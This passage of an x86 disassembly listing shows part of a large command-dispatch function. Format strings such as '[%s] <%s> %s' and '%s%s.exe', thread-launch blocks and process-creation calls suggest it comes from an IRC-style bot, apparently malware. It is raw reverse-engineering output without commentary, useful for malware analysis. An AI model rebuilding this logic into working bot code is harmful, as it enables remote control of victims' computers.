		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A36:				; CODE XREF: sub_401ACD+5E8Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_407A63:				; CODE XREF: sub_401ACD+4ED2j
					; sub_401ACD+4EE9j
		push	[ebp+arg_10]
		call	dword_4CB694
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAE0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset byte_40C669
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407B45


loc_407B2F:				; CODE XREF: sub_401ACD+6076j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_407B2F
; ---------------------------------------------------------------------------


loc_407B45:				; CODE XREF: sub_401ACD+6060j
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42ABD4
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407B56:				; CODE XREF: sub_401ACD+4EA4j
					; sub_401ACD+4EBBj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AB
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407C42


loc_407C2C:				; CODE XREF: sub_401ACD+6173j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_407C2C
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_401ACD+615Dj
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42AA60
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407C53:				; CODE XREF: sub_401ACD+4E76j
					; sub_401ACD+4E8Dj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB2
; ---------------------------------------------------------------------------


loc_407CAC:				; CODE XREF: sub_401ACD+61C9j
		mov	[ebp+var_2668],	ebx


loc_407CB2:				; CODE XREF: sub_401ACD+61DDj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC9
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCF
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_401ACD+61EBj
		mov	[ebp+var_266C],	ebx


loc_407CCF:				; CODE XREF: sub_401ACD+61FAj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407D80


loc_407D6A:				; CODE XREF: sub_401ACD+62B1j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_407D6A
; ---------------------------------------------------------------------------


loc_407D80:				; CODE XREF: sub_401ACD+629Bj
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42A9F4
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407D91:				; CODE XREF: sub_401ACD+4E48j
					; sub_401ACD+4E5Fj
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A9B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset word_414A92
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407E68


loc_407E52:				; CODE XREF: sub_401ACD+6399j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407279
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_407E52
; ---------------------------------------------------------------------------


loc_407E68:				; CODE XREF: sub_401ACD+6383j
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42A980
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407E79:				; CODE XREF: sub_401ACD+4D1Bj
					; sub_401ACD+4D32j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A950
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset byte_4137CD
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407F50


loc_407F3A:				; CODE XREF: sub_401ACD+6481j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_407F3A
; ---------------------------------------------------------------------------


loc_407F50:				; CODE XREF: sub_401ACD+646Bj
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42A918
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407F61:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A8E8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset dword_412A54
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408049


loc_408033:				; CODE XREF: sub_401ACD+657Aj
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407279
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_408033
; ---------------------------------------------------------------------------


loc_408049:				; CODE XREF: sub_401ACD+6564j
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42A8B0
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_40805A:				; CODE XREF: sub_401ACD+4BC4j
					; sub_401ACD+4BDBj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A5
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A5:				; CODE XREF: sub_401ACD+65C4j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A880
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408131


loc_40811B:				; CODE XREF: sub_401ACD+6662j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_40811B
; ---------------------------------------------------------------------------


loc_408131:				; CODE XREF: sub_401ACD+664Cj
		nop
		call	near ptr 2680867h
		push	eax
		push	offset dword_42A844
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408142:				; CODE XREF: sub_401ACD+4B84j
					; sub_401ACD+4B9Bj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408235
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A818
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset word_412E9E
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408224


loc_408212:				; CODE XREF: sub_401ACD+6755j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828C
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_408212
; ---------------------------------------------------------------------------


loc_408224:				; CODE XREF: sub_401ACD+6743j
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42A7E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_408235:				; CODE XREF: sub_401ACD+6684j
		push	offset unk_42A7A8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40823F:				; CODE XREF: sub_401ACD+4B56j
					; sub_401ACD+4B6Dj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 26A0DD6h
		test	eax, eax
		jz	short loc_40826C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A784
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828C
; ---------------------------------------------------------------------------


loc_40826C:				; CODE XREF: sub_401ACD+677Ej
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408289:				; CODE XREF: sub_401ACD+2F2Bj
					; sub_401ACD+5570j
		add	esp, 0Ch


loc_40828C:				; CODE XREF: sub_401ACD+2137j
					; sub_401ACD+2ECDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A9:				; CODE XREF: sub_401ACD+57C7j
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4082B6:				; CODE XREF: sub_401ACD+4B28j
					; sub_401ACD+4B3Fj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082F0
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082F0
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082F0:				; CODE XREF: sub_401ACD+6803j
					; sub_401ACD+6812j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A748
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset word_416CAE
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4083A2


loc_408390:				; CODE XREF: sub_401ACD+68D3j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BD
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_408390
; ---------------------------------------------------------------------------


loc_4083A2:				; CODE XREF: sub_401ACD+68C1j
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42A70C


loc_4083AE:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BD:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4083C5:				; CODE XREF: sub_401ACD+4AFAj
					; sub_401ACD+4B11j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408404
		mov	[ebp+var_638], 5


loc_408404:				; CODE XREF: sub_401ACD+692Cj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDF
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2660B96h
		test	eax, eax
		jnz	short loc_40844D
		push	offset unk_42A6E8
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40844D:				; CODE XREF: sub_401ACD+6974j
		push	edi
		push	offset dword_42A6CC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408458:				; CODE XREF: sub_401ACD+4ACCj
					; sub_401ACD+4AE3j
		push	edi
		push	offset aQsfpo	; "qsfpo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D1
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 26A0000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD81
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084ED
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F3
; ---------------------------------------------------------------------------


loc_4084ED:				; CODE XREF: sub_401ACD+6A0Aj
		mov	[ebp+var_23C0],	ebx


loc_4084F3:				; CODE XREF: sub_401ACD+6A1Ej
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40850A
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408510
; ---------------------------------------------------------------------------


loc_40850A:				; CODE XREF: sub_401ACD+6A2Cj
		mov	[ebp+var_23C4],	ebx


loc_408510:				; CODE XREF: sub_401ACD+6A3Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A694
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4085C0


loc_4085AA:				; CODE XREF: sub_401ACD+6AF1j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_4085AA
; ---------------------------------------------------------------------------


loc_4085C0:				; CODE XREF: sub_401ACD+6ADBj
		call	near ptr 2680867h
		nop
		push	eax
		push	offset dword_42A658
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4085D1:				; CODE XREF: sub_401ACD+699Aj
		push	offset dword_42A610


loc_4085D6:				; CODE XREF: sub_401ACD+2E74j
					; sub_401ACD+457Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_4085E9:				; CODE XREF: sub_401ACD+4A9Ej
					; sub_401ACD+4AB5j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408674
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2670EC6h


loc_408674:				; CODE XREF: sub_401ACD+6B8Fj
		push	offset dword_42A5EC
		call	sub_4151AD
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408688:				; CODE XREF: sub_401ACD+4A70j
					; sub_401ACD+4A87j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408746
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A5D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408746:				; CODE XREF: sub_401ACD+6BFBj
		push	offset unk_42A5A0


loc_40874B:				; CODE XREF: sub_401ACD+7543j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40875A:				; CODE XREF: sub_401ACD+74CBj
					; sub_401ACD+7624j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877B
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40877B:				; CODE XREF: sub_401ACD+6C90j
					; sub_401ACD+72C8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40878C:				; CODE XREF: sub_401ACD+4A42j
					; sub_401ACD+4A59j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42A56C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
